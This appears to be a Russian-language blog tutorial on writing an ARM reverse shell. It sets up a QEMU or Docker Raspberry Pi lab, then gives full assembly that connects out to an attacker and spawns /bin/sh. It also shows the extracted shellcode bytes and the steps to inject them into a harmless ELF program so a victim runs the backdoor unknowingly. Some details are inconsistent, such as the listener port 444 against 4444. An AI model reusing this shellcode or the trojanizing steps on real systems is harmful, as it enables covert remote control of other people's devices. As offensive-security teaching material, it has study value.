Как написать свой реверс-шелл

Как написать свой реверс-шелл

Многие знают, как создать шеллкод для обыкновенных x86-машин. Об этом написано множество руководств, статей и книг, но многие нынешние устройства, включительно смартфоны и роутеры, используют процессоры ARM. Мы собрали всю необходимую информацию для подготовки стенда, написания и введения шеллкода для ARM-устройств. в данной статье мы рассмотрим как написать свой реверс-шелл.

СОЗДАНИЕ ВИРТУАЛЬНОЙ МАШИНЫ В QEMU

QEMU — эмулятор различных процессорных архитектур. Обычно он используется для эмуляции всего компьютера (то есть для запуска виртуальной машины), но не является необходимым для отладки отдельной программы. В Linux вы можете использовать эмуляцию пользовательского режима QEMU; этот метод будет обсуждаться в первую очередь.

Наша конечная цель — запускать скомпилированные программы на 64-битной версии ARM. Для начала вам необходимо установить сам пакет эмулятора:

sudo apt-get update
sudo apt-get install qemu qemu-user qemu-user-static

Для AArch64 уста­нав­лива­ем сле­дующие ком­понен­ты:

sudo apt install gcc-arm-linux-gnueabihf binutils-arm-linux-gnueabihf binutils-arm-linux-gnueabihf-dbg
sudo apt install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg

Что­бы эму­лиро­вать про­цес­сор типа ARM64, необ­ходимо соз­дать две дирек­тории — deb11_inst и deb11_startmkdir deb11_inst deb11_start. Затем перей­ти в deb11_inst и ска­чать два фай­ла — installer-linux и installer-initrd.gz.

Для это­го исполь­зуем сле­дующие коман­ды:

wget -O installer-linux http://http.us.debian.org/debian/dists/bullseye/main/installer-arm64/current/images/netboot/debian-installer/arm64/linux
 
wget -O installer-initrd.gz http://http.us.debian.org/debian/dists/bullseye/main/installer-arm64/current/images/netboot/debian-installer/arm64/initrd.gz

Даль­ше соз­даем диск для уста­нов­ки на него сис­темы:

qemu-img create -f raw hda.img 20G

Соз­даем файл instDebARM64.sh, в него необ­ходимо записать сле­дующий скрипт:

#!/bin/bash
qemu-system-aarch64 -M virt -m 2G -cpu cortex-a53 -smp 2 \
-kernel installer-linux \
-initrd installer-initrd.gz \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu-pci \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet

Здесь

  • qemu-system-aarch64 — эму­ляция пол­ной сис­темы для архи­тек­туры;
  • -M — выбор эму­лиру­емой машины;
  • -m — объ­ем ОЗУ;
  • -cpu — тип эму­лиру­емо­го про­цес­сора;
  • -smp — количес­тво вир­туаль­ных ядер ЦП и их рас­пре­деле­ние по сокетам;
  • -kernel — для исполь­зования ука­зан­ного обра­за ядра Linux;
  • -initrd — для заг­рузки Linux;
  • netdev/device и drive — опи­сание сетевой кар­ты и вир­туаль­ных дис­ков;
  • if — опция ука­зыва­ет, через интерфейс какого типа под­клю­чен диск;
  • file — опре­деля­ет, какой образ исполь­зовать для какого дис­ка;
  • format — ука­зыва­ет явным образ фор­мат дис­ков, не исполь­зовать авто­опре­деле­ние;
  • -display — выбор типа отоб­ражения, дос­тупно sdlcursesgtknonevga;
  • -no-reboot — отме­на перезаг­рузки.

Сохраните и запустите скрипт. Начнется классическая установка Debian 11. На первом экране вам нужно выбрать английский в качестве основного языка.

Да­лее необ­ходимо выб­рать UNITED STATES. Бли­же к завер­шению уста­нов­ки появит­ся ошиб­ка.

Выберите «Продолжить» и дождитесь завершения установки Debian. Переносим образ hda.img с установленной системой в директорию deb11_start. Затем создаем файл debARM64.sh, в который помещаем следующий скрипт:

#!/bin/bash
qemu-system-aarch64 -M virt -m 3G -cpu cortex-a53 -smp 2 \
-kernel vmlinuz-5.10.0-8-arm64 \
-initrd initrd.img-5.10.0-8-arm64 \
-append 'root=/dev/vda2' \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet\

Щелкните правой кнопкой мыши созданный диск hda.img и смонтируйте его: «Открыть с помощью -> Подключить образ диска». На смонтированном диске нас интересуют два файла: initrd.img-5.10.0-20-arm64 и vmlinuz-5.10.0-20-arm64 (ну в общем случае initrd.img-xxxxxxx-arm64 и vmlinuz- xxxxxxx-arm64) . Версии системы должны совпадать! Запустите файл debARM64.sh:

./debARM64

Для нас­трой­ки сети в скрипт debARM64.sh нуж­но добавить строч­ку -net user,hostfwd=tcp::10022-:22 . Эта строч­ка соз­даст еще и SSH-под­клю­чение.

Docker

Есть альтернативный вариант: эмулировать Raspberry Pi с помощью Docker. Для этого вам необходимо установить Docker:

sudo apt-get install docker.io

За­тем ска­чать соот­ветс­тву­ющий образ:

docker pull lukechilds/dockerpi

Как толь­ко все прог­рузит­ся, вво­дим коман­ду

docker run -it --name имя_для_контейнера -v $HOME/.dockerpi:/sdcard lukechilds/docker

Вы можете выбрать любое имя контейнера, я назову его ap_security. После этого Raspberry Pi начнет распаковываться и загружаться.

Ито­гом успешно­го запус­ка будет такое окно.

Учетные данные для входа по умолчанию: pi:raspberry. На самом деле, это все. Теперь в нашей виртуальной лаборатории есть Raspberry Pi. Чтобы выключить устройство, используйте команду sudo poweroff, а для его запуска — docker start -ai имя_контейнера, где имя_контейнера — это имя выбранного вами контейнера.

Установка GDB и PEDA/GEF

Ус­танов­ка GDB и пла­гина PEDA доволь­но прос­та. Для GDB исполь­зуем коман­ду

sudo apt install gdb

Для уста­нов­ки PEDA коман­ды такие:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
 
 
GEF уста­новим коман­дой
 
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
 
 
 
От­ладку мы будем выпол­нять в основном в GEF.
 
 

ПРОБУЕМ GDB И ПИШЕМ ПЕРВУЮ ПРОГРАММУ

Что­бы написать прог­рамму на ассем­бле­ре, пот­ребу­ются три инс­тру­мен­та:

  • тек­сто­вый редак­тор — nano;
  • прог­рамма для соз­дания объ­ектно­го фай­ла — as;
  • прог­рамма для динами­чес­кой при­вяз­ки — ld.

Текстовый редактор — дело вкуса. Многие пишут на Vim, но мне удобнее в Nano, поэтому я буду писать код там. Программа as создает объектный файл, а ld выполняет динамическую привязку. Работать с этими программами нужно следующим образом:

  1. Пи­шем коман­ду as source.asm -o source.o, которая соз­дает объ­ектный файл с наз­вани­ем source.o.
  2. Свя­зыва­ем объ­ектный файл и пре­обра­зуем его в исполня­емый с помощью коман­ды ld source.-o source.bin.

В каждом файле, содержащем ассемблерный код, должна быть точка, с которой начинается программа. Это выглядит так:

_start:

Эта точка определяется как глобальное имя для всей программы. Каждый оператор имеет следующий синтаксис:

<обозначение:> <инструкция> @ комментарий

Первая программа

В пер­вой прог­рамме, по клас­сике, реали­зован вывод при­ветс­твен­ной строч­ки — H3ll0, ][akep!:

.global _start
 
_start:
mov r7, #4 @ номер системного вызова
mov r0, #1 @ вывод - stdout
mov r2, #13 @ длина строки
ldr r1, =string @ строка находится на метке string
swi 0 @ системный вызов
 
mov r7, #1 @ выход
swi 0
 
.data
string:
.ascii "H3ll0, ][akep!\n"

Здесь

      • r7 — номер про­цеду­ры;
      • r0 опре­деля­ет поток (stdin/stdout/stderr);
      • r2 — количес­тво выводи­мых сим­волов;
      • r1 хра­нит адрес стро­ки.

Все это схо­же с ассем­бле­ром для i386. В ARM регис­тры для вза­имо­дей­ствия такие:

      • r7 — номер сис­темно­го вызова;
      • r0 — аргу­мент 1;
      • r1 — аргу­мент 2;
      • r2 — аргу­мент 3;
      • r3 — аргу­мент 4;
      • r4 — аргу­мент 5;
      • r5 — аргу­мент 6;
      • r0 — воз­вра­щаемое зна­чение или код ошиб­ки.

Информацию обо всех системных вызовах можно найти в помощи программы J0llyTr0LLz. Там же описано, что именно должно быть в регистрах. Вы можете скачать программу на GitHubи научиться с ней работать.

Ком­пилиру­ем при­ложе­ние и запус­каем.

as -g proga1.asm -o proga1.o
ld proga1.o -o proga1.bin

Здесь -g — ключ для вклю­чения отла­доч­ной информа­ции. Пос­ле запус­ка уви­дим сле­дующее:

$ file proga1.bin
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
./proga1.bin
H3ll0, ][akep!

Поп­робу­ем про­деба­жить это при­ложе­ние.

ПЕРВЫЙ ОПЫТ В ОТЛАДКЕ

За­пус­каем GDB и заг­ружа­ем в него бинар­ный файл, пос­ле чего перехо­дим к раз­делу start:

$ gdb
gef➤ file proga1.bin
Reading symbols from proga1.bin...done.
gef➤ disassemble _start
Dump of assembler code for function _start:
0x00010074 <+0>: mov r7, #4
0x00010078 <+4>: mov r0, #1
0x0001007c <+8>: mov r2, #19
0x00010080 <+12>: ldr r1, [pc, #8] ; 0x10090 <_start+28>
0x00010084 <+16>: svc 0x00000000
0x00010088 <+20>: mov r7, #1
0x0001008c <+24>: svc 0x00000000
0x00010090 <+28>: muleq r2, r4, r0
End of assembler dump.

Пос­тавим точ­ку оста­нова на пер­вой инс­трук­ции и запус­тим прог­рамму:

b *_start
r

Ок­но отладки GDB-GEF выг­лядит так.

Шпар­галку по GDB-коман­дам мож­но най­ти вдо­кумен­тации, опуб­ликован­ной на сай­те Darkdust.

На пер­вом шаге все обну­лено:

$r0 : 0x0
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 0x00000001
$lr : 0x0
$pc : 0x00010074 <_start+0> mov r7, #4
$cpsr: [negative zero carry overflow interrupt fast thumb]

С помощью команды ni мы переходим непосредственно к системному вызову. Если мы нажмем Enter после введенной команды, команда будет выполнена снова.

Смот­рим, что у нас в регис­трах:

$r0 : 0x1
$r1 : 0x00020094 <string+0> stclvs 3, cr3, [r12], #-288 ; 0xfffffee0
$r2 : 0x13
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x4
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 0x00000001
$lr : 0x0
$pc : 0x00010084 <_start+16> svc 0x00000000
$cpsr: [negative zero carry overflow interrupt fast thumb]

Как мож­но заметить, вез­де лежат нуж­ные нам зна­чения. Пос­мотрим, что хра­нит­ся в регис­тре r1.

gef➤ x/s 0x00020094
0x20094: "H3ll0, ][akep!\nA\021"

Прой­дем даль­ше и най­дем вывод сооб­щения:

gef➤ n
H3ll0, ][akep!

 Сооб­щение вывелось. 

ПИШЕМ РЕВЕРС-ШЕЛЛ

Для написа­ния реверс‑шел­ла нам понадо­бят­ся сле­дующие сис­темные вызовы:

      • socket — для соз­дания сер­вера;
      • connect — для под­клю­чения к жер­тве;
      • dup2 — для копиро­вания stdin/stdout/stderr;
      • execve — для запус­ка /bin/sh.

В целом ничего необычного, все стандартно. Нужные системные вызовы я буду искать в программе J0llyTr0LLz.

Для socket(PF_INET, SOCK_STREAM, 0) = socket(2, 1, 0):

    1. В регис­тре r7 будет лежать зна­чение 0x119.
    2. В регис­тре r0 зна­чение 2, потому что мы исполь­зуем PF_INET, семей­ство про­токо­лов IP.
    3. В регис­тре r1 находит­ся 1 — SOCK_STREAM(TCP).

Пер­вая часть кода получит­ся такой:

Дескриптор сокета будет храниться в регистре r0. Чтобы сохранить его, мы просто перенесем его в другой реестр, чтобы иметь возможность использовать его позже. Я выбрал регистр r4.

        • r7 = 0x11b;
        • r0 = sockid = r4;
        • r1 = &sockaddr;
        • r2 = 16.

Здесь sockaddr — струк­тура, в которой будет содер­жать­ся порт, IP-адрес и исполь­зуемый про­токол. В нашем слу­чае это TCP.

struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address

В ито­ге получа­ем такой фраг­мент кода:

mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
 
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address

Ко­ман­да adr получа­ет какой‑либо адрес, в ассем­бле­ре i386 есть ана­логич­ная инс­трук­ция lea.

Длина рассчитывается следующим образом: 2 байта — порт, 2 байта — AF_INET, 4 байта — IP-адрес и 8 байт — заполнение. Поэтому регистр r2 будет заполнен числом 16. Регистр r7 никак не изменился с момента последнего вызова, поэтому просто добавляем 2.

Ниже приведена конструкция dup2(sockid, stdin/stdout/stderr). Номер системного вызова dup2() — 0x3f. Значение sockid хранится в регистре r4, stdin/stdout/stderr равны 0/1/2 соответственно. Мы получаем следующее:

      • r7 = 0x3f;
      • r0 = r4;
      • r1 = 0/1/2.

Ре­али­зация это­го шага будет выг­лядеть таким обра­зом:

@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
 
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
 
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0

Пос­ледний шаг: получа­ем шелл. Тут, в прин­ципе, клас­сика: execve("/bin/sh", 0, 0). В сек­ции дан­ных про­пишем сле­дующую стро­ку:

binsh:
.ascii "/bin/sh"

В r0 будет находить­ся стро­ка /bin/shr1 и r2 — нулевые, а в r7 — зна­чение 11. Таким обра­зом, код при­мет сле­дующий вид:

adr r0, binsh
sub r2, r2
sub r1, r1
mov r7, #11
svc 0

В ито­ге пол­ный код выг­лядит так:

.global _start
 
_start:
 
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)
 
mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
 
@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
 
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
 
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0
 
adr r0, binsh
sub r2, r2
sub r1, r1
mov r7, #11
svc 0
 
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
 
binsh:
.ascii "/bin/sh"

Ком­пилиру­ем и про­веря­ем на каком‑нибудь тар­гете. На сто­роне хакера откры­ваем TCP-под­клю­чение:

$ nc -lvnp 444
Listening on 0.0.0.0 4444

Ком­пилиру­ем и запус­каем при­ложе­ние у жер­твы:

as rs.asm -o rs.o
ld rs.o -o rs.bin
./rs.bin

На сто­роне хакера видим сле­дующее:

Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi

ИНЪЕКЦИЯ ШЕЛЛ-КОДА

После внедрения шеллкода можно считать, что мы создали полноценную вредоносную программу. Чтобы получить байты шеллкода, проанализируйте двоичный файл:

objcopy -O binary rs.bin rs_bytes.bin

Этой коман­дой мы вытащим основную часть бинаря, то есть сам шелл‑код:

$ xxd rs_bytes.bin
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 ......... B..p..
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2 Qp.......@..4...
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1 . ...p..........
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef ..A..pG.?p......
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 ................
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507 ............!E.

Затем проведем инъекцию с помощью программы KillerQueen; описание работы программы можно найти на ее странице на GitHub.

На сто­роне поль­зовате­ля мы задей­ству­ем незамыс­ловатую прог­рамму:

#include <stdio.h>
 
int main()
{
puts("Hello, ][akep!");
return 0;

Ском­пилирую ее в Raspberry Pi:

$ gcc hello_xakep.c -o hello_xakep.bin -no-pie
$ file hello_xakep.bin
hello_xaker.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=1d0e0528aa357a184a069a0ef77b138b89fed21b, not stripped

За­пус­каем KillerQueen и встав­ляем туда сам шелл‑код:

0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040 a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770 47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 02ff 115c 0a21 4507

Да­лее заг­ружа­ем в нее под­став­ную прог­рамму hello_xakep.bin.

Ло­ги под­твержда­ют, что про­га заг­ружена.

Выберите Инструменты → ELFInject. После этого у программы появится новая точка входа и мы увидим сообщение о том, что шеллкод внедрен.

Пос­мотрим, как это выг­лядит в IDA Pro.

Как видите, здесь теперь появился новый раздел автозагрузки и программа сначала перейдет к нему. А там лежит обратная оболочка.

Запускаем зараженную программу на устройстве жертвы:

$ nc -lvnp 4444
Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi

ВЫВОДЫ

Мы научились писать свою обратную оболочку для устройства на базе ARM. Изыскания в области безопасности ARM-систем очень актуальны, основным образом, в связи с тем, что возникает все более устройств на базе этих процессоров. Конечно, показанный в статье опыт достаточно прост, но, как говорили античные мудрецы, внушительный путь наступает с одного шага.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.